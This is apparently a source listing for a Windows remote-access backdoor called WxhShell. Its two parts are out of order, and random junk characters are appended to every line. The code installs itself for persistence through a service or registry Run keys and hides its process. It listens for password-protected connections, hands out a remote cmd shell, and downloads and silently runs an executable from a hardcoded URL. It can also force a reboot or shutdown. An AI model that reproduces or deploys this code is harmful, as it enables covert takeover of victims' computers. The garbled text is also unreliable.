    else { Hy[: _E  
    closesocket(wsh); M %!;5  
    ExitThread(0); D5?8`U m=  
    } oYStf5  
    break; RK|*yt"f"  
    } ~:bdS 4w  
  // 获取shell 'Uf?-t*LT@  
  case 's': { KBN% TqH|  
    CmdShell(wsh); 9T24dofkJ  
    closesocket(wsh); sEdz`F  
    ExitThread(0); vb6EO[e% I  
    break; F1L[3D^-  
  } c8JW]A`9b)  
  // 退出 4Qf sxg  
  case 'x': { t n5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o" ,8   
    CloseIt(wsh); &o;0%QgF  
    break; x I.W-js[  
    } 71c[ `h*0{  
  // 离开 \{lv~I  
  case 'q': { Zg(Y$ h\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v CaN[  
    closesocket(wsh); L4g%o9G  
    WSACleanup(); ][MtG  
    exit(1); L#UR>Z#9  
    break; +ZOiL[rS  
        } chE!,gik  
  } hb5K"9Y  
  } ;J5z  
x^ f)I|t  
  // 提示信息 #lP8/-s^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZLv/otf:|"  
} V ;XKvH  
  } nG!<wlY14P  
2Kz+COP+  
  return; xZ9:9/Vg  
} n_e'n|T  
?W'p&(;  
// shell模块句柄 3N+lWuE}K  
int CmdShell(SOCKET sock) 7R2O[=Szq  
{ ,94<j,"  
STARTUPINFO si; zzQWHg]/  
ZeroMemory(&si,sizeof(si)); Lqj Qv$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U4pIRa)S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !SQcV'  
PROCESS_INFORMATION ProcessInfo; 9RaO[j`  
char cmdline[]="cmd"; (G>[A}-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;[sW\Ou  
  return 0; S }`sp[6  
} d qn5G!fI  
// o.+?S  
// 自身启动模式 LSJ?;Zg(=z  
int StartFromService(void) d]l8ei@>h  
{ e{P v:jl  
typedef struct WKEb '^  
{ dq[h:kYm  
  DWORD ExitStatus; FLqN3D=yQ  
  DWORD PebBaseAddress; f V. c6  
  DWORD AffinityMask; }9'`3vsJ  
  DWORD BasePriority; :jLL IqhB  
  ULONG UniqueProcessId; q!5:M\  
  ULONG InheritedFromUniqueProcessId; %SM;B-/zHt  
}   PROCESS_BASIC_INFORMATION; +J X;T(T  
g\JJkXjD#  
PROCNTQSIP NtQueryInformationProcess; V0\[|E;F  
(CmK> "C+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >M,oyM" s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $RaN@& Wm  
*glZb;_  
  HANDLE             hProcess; +$,Re.WnP  
  PROCESS_BASIC_INFORMATION pbi; O<gfZ>  
k&]nF,f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z',!LK!  
  if(NULL == hInst ) return 0; Ma[EgG  
&7aWVKon  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e`D}[G#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /~[Lr   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Xlzdt  
nVb@sI{{k  
  if (!NtQueryInformationProcess) return 0; 0mY Y:?v  
5</$dcG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wy}I"q[~So  
  if(!hProcess) return 0; <\aeC2~M  
=Ph8&l7~sp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ut{T:kT  
j9+$hu#a  
  CloseHandle(hProcess); _!\d?]Ya  
+2~k Hrv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,kN;d}bg  
if(hProcess==NULL) return 0; #< im?  
6[> lzEZ  
HMODULE hMod; X*8y"~X|vq  
char procName[255]; *v>ZE6CL  
unsigned long cbNeeded; ISbs l =F  
g`7XE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "F<CGSo  
!'7fOP-J]  
  CloseHandle(hProcess); #%0V`BS7n  
gE-y`2SU  
if(strstr(procName,"services")) return 1; // 以服务启动 l4Xz r:]  
rl*O-S/  
  return 0; // 注册表启动 Ifj&S'():  
} O !L`0 =%c  
VM"cpC_8  
// 主模块 *Z5^WHwg  
int StartWxhshell(LPSTR lpCmdLine) [VCC+_  
{ yPm2??5MW>  
  SOCKET wsl; /Rp]"S vt  
BOOL val=TRUE; [I $+wWW_  
  int port=0; C|(A/b  
  struct sockaddr_in door; ^.SYAwL  
C_.9qo]DT7  
  if(wscfg.ws_autoins) Install(); \oQ]=dDCd%  
DDg\oGLp  
port=atoi(lpCmdLine); @ D+ftb/  
'Wonz<{'  
if(port<=0) port=wscfg.ws_port; UkV?,P@l  
(C2 XFg_  
  WSADATA data; dhl[=Y ` Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BT$p~XB  
n/H OP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \{,TpK.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W .7rHa  
  door.sin_family = AF_INET; {|+Y;V`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (L_-!=e  
  door.sin_port = htons(port); !d* [QD8  
IP~!E_e}\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^4y]7 p  
closesocket(wsl); ;SR ESW  
return 1; ])x1MmRg\  
} 092t6D}  
 R$a<=  
  if(listen(wsl,2) == INVALID_SOCKET) { \INH[X#>  
closesocket(wsl); )*|/5wW1  
return 1; j =_rUc'Me  
} K~x,so  
  Wxhshell(wsl); T5BZD +Ta  
  WSACleanup(); weitDr6  
wucdXj{%  
return 0; l.[pnLD  
~xH&"1  
} +Q*`kg'  
!,WGd|oJ  
// 以NT服务方式启动 TBhM^\z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 30Yis_l2h  
{ bdUPo+  
DWORD   status = 0; "}]`64?  
  DWORD   specificError = 0xfffffff; )^h6'h`  
cH]tZ$E`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dn6B43w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KWwtL"3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T X`X5j  
  serviceStatus.dwWin32ExitCode     = 0; xS18t="  
  serviceStatus.dwServiceSpecificExitCode = 0; 3:%k pnO  
  serviceStatus.dwCheckPoint       = 0; jjpYg  
  serviceStatus.dwWaitHint       = 0; *OVB;]D3+  
'[F:uA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +)Te)^&v%  
  if (hServiceStatusHandle==0) return; Z5{a7U4z_  
:NzJvI<  
status = GetLastError(); Ycm)PU["  
  if (status!=NO_ERROR) R+sT &d  
{ FB=oGgwwq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R{hX--|j  
    serviceStatus.dwCheckPoint       = 0; bIKg>U'5d  
    serviceStatus.dwWaitHint       = 0; ]m]`J|%i  
    serviceStatus.dwWin32ExitCode     = status; bP,<^zA|X  
    serviceStatus.dwServiceSpecificExitCode = specificError; r@r%qkh(.@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]AP1+ &9fN  
    return; GnV0~?  
  } <?jd NM  
93-Y(Xx)bY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vG&>- Z  
  serviceStatus.dwCheckPoint       = 0; yev!Nw  
  serviceStatus.dwWaitHint       = 0; Vla,avON  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IS C.~q2  
} C2LPLquD+  
~PQ.l\C  
// 处理NT服务事件,比如:启动、停止 NGra/s,9 |  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~{c ?-qb  
{ ]`o5eByo  
switch(fdwControl) lwnO  
{ }ze+ tf  
case SERVICE_CONTROL_STOP: I8*VM3  
  serviceStatus.dwWin32ExitCode = 0; ;'!x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WlL(NrVA@@  
  serviceStatus.dwCheckPoint   = 0; ;D5>iek5  
  serviceStatus.dwWaitHint     = 0; }E`Y.= S  
  { 3f|}p{3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mDD.D3RS  
  } fV:15!S[  
  return; tobE3Od4  
case SERVICE_CONTROL_PAUSE: LvG.ocCG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [f6uwp  
  break; U~ {k_'-i  
case SERVICE_CONTROL_CONTINUE: :WhJDx`j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sW^M  ]  
  break; &K[*vyD  
case SERVICE_CONTROL_INTERROGATE: 5 s7BUT  
  break; 4Z)4WGp!  
}; N'^>pSc4W|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :}Jx  
} '1<Z"InU  
nx9PNl@?V  
// 标准应用程序主函数 zVhyAf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ %s#Cb  
{ {%jAp11y+O  
# @\3{;{R  
// 获取操作系统版本 wcHk]mLM  
OsIsNt=GetOsVer(); FOaA}D `]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;5a$ OM  
mrGV{{.  
  // 从命令行安装 -15e  
  if(strpbrk(lpCmdLine,"iI")) Install(); s8j |>R|k  
yUoR6w  
  // 下载执行文件 ~f QrH%@  
if(wscfg.ws_downexe) { r}U6LE?>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C*`WMP*  
  WinExec(wscfg.ws_filenam,SW_HIDE); u ExLj6  
} T+8Yd(:hX  
,n|si#  
if(!OsIsNt) { g/?Vl2W  
// 如果时win9x,隐藏进程并且设置为注册表启动 j*=!M# D  
HideProc(); @uSO~. 7  
StartWxhshell(lpCmdLine); Jcw^Z,  
} |jsI-?%8J  
else ktu?-?#0,  
  if(StartFromService()) RK# 6JfC3X  
  // 以服务方式启动 !E70e$Th  
  StartServiceCtrlDispatcher(DispatchTable); X<ex >sM  
else ;W|kc</R*  
  // 普通方式启动 UhB +c  
  StartWxhshell(lpCmdLine); ?7\V)$00(&  
UG1<Xfu|  
return 0; ,f03TBD}  
} / "m s  
5hs_k[q  
.[={Yx0!I  
Po>6I0y  
=========================================== SA, ~q&  
t@KTiJI ]  
+Z#=z,.^  
K5>3  
eAHY/Y!  
5!0iK9O  
" (6,:X  
AvL /gt:  
#include <stdio.h> %$BRQ-O  
#include <string.h> PW*Vfjf4  
#include <windows.h> x;ik   
#include <winsock2.h> K'OG-fn;  
#include <winsvc.h> 'CBwE&AL  
#include <urlmon.h> "2e3 <:$  
l;$F[/3a  
#pragma comment (lib, "Ws2_32.lib") "$BkO[IS  
#pragma comment (lib, "urlmon.lib") <O jK $KV  
2OG/0cP  
#define MAX_USER   100 // 最大客户端连接数 Q0*E&;|  
#define BUF_SOCK   200 // sock buffer iGW(2.Z  
#define KEY_BUFF   255 // 输入 buffer g pciv  
*0U#Z]t  
#define REBOOT     0   // 重启 L F?/60  
#define SHUTDOWN   1   // 关机 zD_5TG M=  
3}L3n*Ft#.  
#define DEF_PORT   5000 // 监听端口 V[ UOlJ  
@Z]0c=-+  
#define REG_LEN     16   // 注册表键长度 +|?a7qM  
#define SVC_LEN     80   // NT服务名长度 &BVUK"}P  
e\)%<G5  
// 从dll定义API )L<.;`g4x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @6UY4vq9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Z;RY5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T! }G51  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NF$6yv9C  
]36SF5<0r  
// wxhshell配置信息 ?Ld),A/c  
struct WSCFG { "jZZ>\  
  int ws_port;         // 监听端口 a-5UG#o  
  char ws_passstr[REG_LEN]; // 口令 at>_EiS  
  int ws_autoins;       // 安装标记, 1=yes 0=no T*p7[}#  
  char ws_regname[REG_LEN]; // 注册表键名 Uo3  
  char ws_svcname[REG_LEN]; // 服务名 >iyNZ]."\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ``xm##K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?[Yn<|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |:)Bo<8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W83d$4\d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3qV^RW&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]H`wE_2tu  
fb f&bJT  
}; Q}#4Qz~n  
RXRbW%b  
// default Wxhshell configuration 9FEhl~&  
struct WSCFG wscfg={DEF_PORT, mtUiO p  
    "xuhuanlingzhe", COi15( G2  
    1, m?-)SA  
    "Wxhshell", w+m7jn!$  
    "Wxhshell", Yjg$o:M  
            "WxhShell Service", 3P_.SF  
    "Wrsky Windows CmdShell Service", 1@Ba7>%'  
    "Please Input Your Password: ", Hc/7x).  
  1, e`Yj}i*bx]  
  "http://www.wrsky.com/wxhshell.exe", h!B{7J  
  "Wxhshell.exe" _0[z xOI  
    }; NK-}[!f  
9^^\Z5  
// 消息定义模块 x ]VycS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N\|B06X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1D%P;eUDp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^|/<e?~I  
char *msg_ws_ext="\n\rExit."; HOD?i_  
char *msg_ws_end="\n\rQuit."; pIIp61=$  
char *msg_ws_boot="\n\rReboot..."; zDg*ds\  
char *msg_ws_poff="\n\rShutdown..."; f}dlQkZ(  
char *msg_ws_down="\n\rSave to "; l_yy;e  
F,YP Il  
char *msg_ws_err="\n\rErr!"; mjOxmwo  
char *msg_ws_ok="\n\rOK!"; /}u:N:HA%  
j'*.=cwsp  
char ExeFile[MAX_PATH]; 03?ADjO  
int nUser = 0; ]xf89[;0  
HANDLE handles[MAX_USER]; \m`IgP*  
int OsIsNt; y0O(n/  
[KUkv  
SERVICE_STATUS       serviceStatus; hGFi|9/-u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s?<FS@k  
58?WO}  
// 函数声明 28JVW3&)  
int Install(void); s=$xnc}mf  
int Uninstall(void); $%U}k=-  
int DownloadFile(char *sURL, SOCKET wsh); hl[<o<`Q  
int Boot(int flag); yXkQ ,y  
void HideProc(void); l>jrY1u  
int GetOsVer(void); %n]jsdE^|  
int Wxhshell(SOCKET wsl); J^t0M\  
void TalkWithClient(void *cs); Qfeu3AT  
int CmdShell(SOCKET sock); [,&g46x22  
int StartFromService(void); aT/2rMKPF  
int StartWxhshell(LPSTR lpCmdLine); BTsvL>Wy  
,T;sWl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bLTX_ R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W'Gh:73'}  
\*PE#RB#6  
// 数据结构和表定义 l=" (Hp%b  
SERVICE_TABLE_ENTRY DispatchTable[] = qY&(O`?m&  
{ Cpzdk~+H  
{wscfg.ws_svcname, NTServiceMain}, tzl,r"k3  
{NULL, NULL} i K@RQi  
}; %B&O+~  
4FneP i~i  
// 自我安装 DKo6lP`  
int Install(void) *3^7'^j<  
{ H94_ae  
  char svExeFile[MAX_PATH]; OL=X&Vaf<  
  HKEY key; 4 JBfA,  
  strcpy(svExeFile,ExeFile); DN8I[5O  
4Zjd g`  
// 如果是win9x系统,修改注册表设为自启动 {\?f|mm q  
if(!OsIsNt) { gy1kb,MO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0r@L A|P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3{H!B&sb  
  RegCloseKey(key); jHMP"(]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'bv(T2d~~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [L7S`Z  
  RegCloseKey(key); Ev#, }l+  
  return 0; W9Us I  
    } bil>;&h  
  } 7ey|~u2  
} (3 ,7  
else { 57 Vn-  
9U9ghWH8  
// 如果是NT以上系统,安装为系统服务 ILNghtm-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aorL,l  
if (schSCManager!=0) AB!({EIi  
{ T5@t_D>8  
  SC_HANDLE schService = CreateService KJn 3&7  
  ( a Sm</@tO&  
  schSCManager, yokZ>+jb  
  wscfg.ws_svcname, AzGbvBI&V  
  wscfg.ws_svcdisp, rI)&.5^  
  SERVICE_ALL_ACCESS, hAi'|;g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P^ -x  
  SERVICE_AUTO_START, Ty 6XU!  
  SERVICE_ERROR_NORMAL, aF=;v*  
  svExeFile, nP=/XiCj  
  NULL, ?`*`A9@  
  NULL, Pi&\GMzd  
  NULL, /|Gz<nSc  
  NULL, &=8ZGjR< }  
  NULL $ z+ =lF  
  ); Z\-Gr 2k  
  if (schService!=0) DL_M#c`<  
  { hHt.N o  
  CloseServiceHandle(schService); ;r;>4+zn\  
  CloseServiceHandle(schSCManager); L8;`*H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e mq%" ;.  
  strcat(svExeFile,wscfg.ws_svcname); +SRM?av  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rI:]''PR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^J?2[(   
  RegCloseKey(key); KE)^S [Da  
  return 0; j{5oXW  
    } =F*{O=  
  } 0O q5;5  
  CloseServiceHandle(schSCManager); m[5ed1+  
} lKirc2  
} Qe<c@i"  
Tq6@ 1j6p  
return 1; HV3D$~gF  
} IetV]Ff6  
Z${@;lgP  
// 自我卸载 B@3>_};Ct  
int Uninstall(void) zpcm`z  
{ lVb;,C%K  
  HKEY key; Z}O0DfT;  
V[| k:($  
if(!OsIsNt) { -}JRsQ+rgM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { atFu KYI  
  RegDeleteValue(key,wscfg.ws_regname); FLlL0Gu  
  RegCloseKey(key); ^q~.5c|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%0 g *YI  
  RegDeleteValue(key,wscfg.ws_regname); RG_)<U/B  
  RegCloseKey(key); V> eJ  
  return 0; =1kjKE !  
  } 1n ZE9;o  
} $r)nvf`\  
} 64!V8&Ay  
else { !91<K{#A{  
]_)=xF19  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HPWjNwM  
if (schSCManager!=0) VM ny>g&3  
{ XN' X&J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [TpW$E0H  
  if (schService!=0) > cJX'U9  
  { =>h~<88#5  
  if(DeleteService(schService)!=0) { |Oaj Jux  
  CloseServiceHandle(schService); ]| =#FFz  
  CloseServiceHandle(schSCManager); v3jx2Z  
  return 0; =HvLuVc  
  } F9SIC7}uH  
  CloseServiceHandle(schService); d7QQ5FiB  
  } 4VL]v9  
  CloseServiceHandle(schSCManager); {Q~A;t  
} t #g6rh&  
} 4fzM%ku  
z[, `  
return 1; $VJ=A<  
} >^Z!  
ph1veD<ZZ  
// 从指定url下载文件 ? Kn~fs8  
int DownloadFile(char *sURL, SOCKET wsh) 0r\hX6 k  
{ Ol@ YSkd  
  HRESULT hr; \+w -{"u$  
char seps[]= "/"; V/!8q`lYNJ  
char *token; aKCXV[PO   
char *file; ZjJEjw  
char myURL[MAX_PATH]; T+/Gz'  
char myFILE[MAX_PATH]; BPKeG0F7  
ex2*oqAdX  
strcpy(myURL,sURL); Ih95&HsdC  
  token=strtok(myURL,seps); c~Hq.K$d  
  while(token!=NULL) LNU9M>  
  { _zO,VL  
    file=token; 0?j+d8*  
  token=strtok(NULL,seps); STB=#z  
  } oM-@B'TK  
4d3PF`,H`  
GetCurrentDirectory(MAX_PATH,myFILE); {4{ACp  
strcat(myFILE, "\\"); SIRZ_lt$r  
strcat(myFILE, file); R\=y/tw0H  
  send(wsh,myFILE,strlen(myFILE),0); :FdV$E]]<  
send(wsh,"...",3,0); i_&&7.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A]vQ1*pnk  
  if(hr==S_OK) V9m1n=r  
return 0; |v{ a5|<E  
else r,b-c  
return 1; (#. )~poZ  
Rf\>bI<.  
} 18!0H l>  
lBTgI"n=eK  
// 系统电源模块 D`.CXFI+U  
int Boot(int flag) Efw/bTEg  
{ |xaA3UA  
  HANDLE hToken; o0Hh&:6!M  
  TOKEN_PRIVILEGES tkp; L+QEFQ:r5  
$y >J=  
  if(OsIsNt) { r jL%M';  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U07n7`2w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d=wzN3 ;-  
    tkp.PrivilegeCount = 1; p<6pmW3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{^XU"yB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1}!f.cWV(  
if(flag==REBOOT) { =RUKN38  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0:nQGX!N  
  return 0; t9x.O  
} *Qg/W? "m  
else { ]}G (@9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }EO n=*  
  return 0; +;z4.C{gM  
} 5R,/X  
  } 37!}8  
  else { -]PW\}w1  
if(flag==REBOOT) { JX/rAnc@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9!FV. yp%F  
  return 0; e$tKKcj0T  
} D x Vt  
else { ;LH?Qu;e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f=J#mmH w$  
  return 0;  c:~o e  
} \aT._'=M+  
} <H E'5b  
/{1xpR  
return 1; mrd(\&EhA  
} 4k$BqM1  
JUU0Tx:`9)  
// win9x进程隐藏模块 Mp$ uEi  
void HideProc(void) $K8ZxH1z@  
{ OH*[  
m.EWYO0XQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^#%$?w>wI  
  if ( hKernel != NULL ) +V7*vlx-  
  { 5'>(|7~%\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f+$/gz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M6|Q~8$  
    FreeLibrary(hKernel); NCSb`SC:  
  } /tP"r}l   
!OWV* v2  
return; mKnkHGM  
} vC J  
OBN]bvCJ  
// 获取操作系统版本 ?~S\^4]  
int GetOsVer(void) h.~S^uKi*  
{ FK={ %  
  OSVERSIONINFO winfo; S)$ES6]9/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v=SC*  
  GetVersionEx(&winfo); Pd^ilRB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -\>Bphu,y  
  return 1; ";",r^vr\  
  else Fz)z&WT  
  return 0; t_@%4Wn!1L  
} {v]A`u)  
c+|,2e 0T  
// 客户端句柄模块 %qfEFhRC  
int Wxhshell(SOCKET wsl) &sWq SS  
{ S <|e/![@  
  SOCKET wsh;  O,xU+j~)  
  struct sockaddr_in client; se$GE:hC1Q  
  DWORD myID; i':<Ro  
<(@m913|  
  while(nUser<MAX_USER) )BS./zD*[<  
{ "2qp-'^[c  
  int nSize=sizeof(client); -jFt4Q7}8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7=mU["raz`  
  if(wsh==INVALID_SOCKET) return 1; |3\ mH~Bw  
{b+!0[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ](- :l6  
if(handles[nUser]==0) bv$)^  
  closesocket(wsh); $N5}N\C:a  
else +~02j1Jx  
  nUser++; 01#a  
  } = ?T'@C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  @;d(>_n  
 [Fr.ik  
  return 0; LYavth`@h  
} Eh0R0;l5>  
*wyaBV?*K  
// 关闭 socket i>q]U:U  
void CloseIt(SOCKET wsh) g;eMsoJG  
{ IM)\-O\Wd  
closesocket(wsh); Ck(D: % ~s  
nUser--; !lL21C6g+  
ExitThread(0); E@P8-x'i  
} -5d8j<,  
d^WVWk K  
// 客户端请求句柄 zn>*^h0B  
void TalkWithClient(void *cs) 0D:J d6\  
{  g5X+iV  
O\B_=KWDO  
  SOCKET wsh=(SOCKET)cs; ;wgm 'jr  
  char pwd[SVC_LEN]; I6'U[)%  
  char cmd[KEY_BUFF]; gn#4az3@e>  
char chr[1]; ;&^S-+  
int i,j; ix$?/GlL  
r/+ <_3  
  while (nUser < MAX_USER) { (?I8/KYR  
#U(dleT8  
if(wscfg.ws_passstr) { 8GV$L~i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  [L] ca*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qnv9?Xh  
  //ZeroMemory(pwd,KEY_BUFF); C-m OtI  
      i=0; ft4J.oT  
  while(i<SVC_LEN) { =?0o5|u]  
l)HF4#Bs  
  // 设置超时 xv9SQ,n<  
  fd_set FdRead; XNf%vC>  
  struct timeval TimeOut; k P>G4$e_v  
  FD_ZERO(&FdRead); X@5!I+u\L  
  FD_SET(wsh,&FdRead); Qp!r_a&  
  TimeOut.tv_sec=8; a@lvn/b2  
  TimeOut.tv_usec=0; tlQ3 BKp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kdITh9nx<r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S;MS,R  
d9sl(;r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iAbtv^fn  
  pwd=chr[0]; mz3!HksZ "  
  if(chr[0]==0xd || chr[0]==0xa) { 6#K1LY5}  
  pwd=0; X'IW &^kI  
  break; 'kL>F&|  
  } {Z3B#,V(g  
  i++; (p-a;.Twj  
    } yx4B!U  
$F`jM/B6  
  // 如果是非法用户,关闭 socket =sPY+~<o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8 POrD8B  
} J,_I$* _0  
$j)Er.!9|R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %f#3;tpC8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BPIp3i  
smF#'"{  
while(1) { |Xlc2?e  
8sx\b  
  ZeroMemory(cmd,KEY_BUFF); P'KaWu9z  
KaZ*HPe(  
      // 自动支持客户端 telnet标准   O+@"l$;N  
  j=0; wtndXhVC4>  
  while(j<KEY_BUFF) { 8h78Zb&[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^EN_C<V;"d  
  cmd[j]=chr[0]; ` Cdk b5  
  if(chr[0]==0xa || chr[0]==0xd) { CY? ]o4IV  
  cmd[j]=0; ]tanvJG}'  
  break; >w9fFm!Q  
  } ~2beVQ(U  
  j++; #'mb9GWD3  
    } 68kxw1xY  
!O-q13\Y  
  // 下载文件 Ultx|qU  
  if(strstr(cmd,"http://")) { z%Op_Ddp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <=/v%VXPm  
  if(DownloadFile(cmd,wsh)) Ny /bNQS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=EAD3  
  else -ytSS:|%\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #9,!IW]l  
  } :(c2YZ   
  else { !Ui3}  
_Z~wpO}/  
    switch(cmd[0]) { f9cS^v_:  
  \O/EY&  
  // 帮助 E<1^i;F  
  case '?': { !:,d^L!bh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kZs  
    break; ?>N82#9Q  
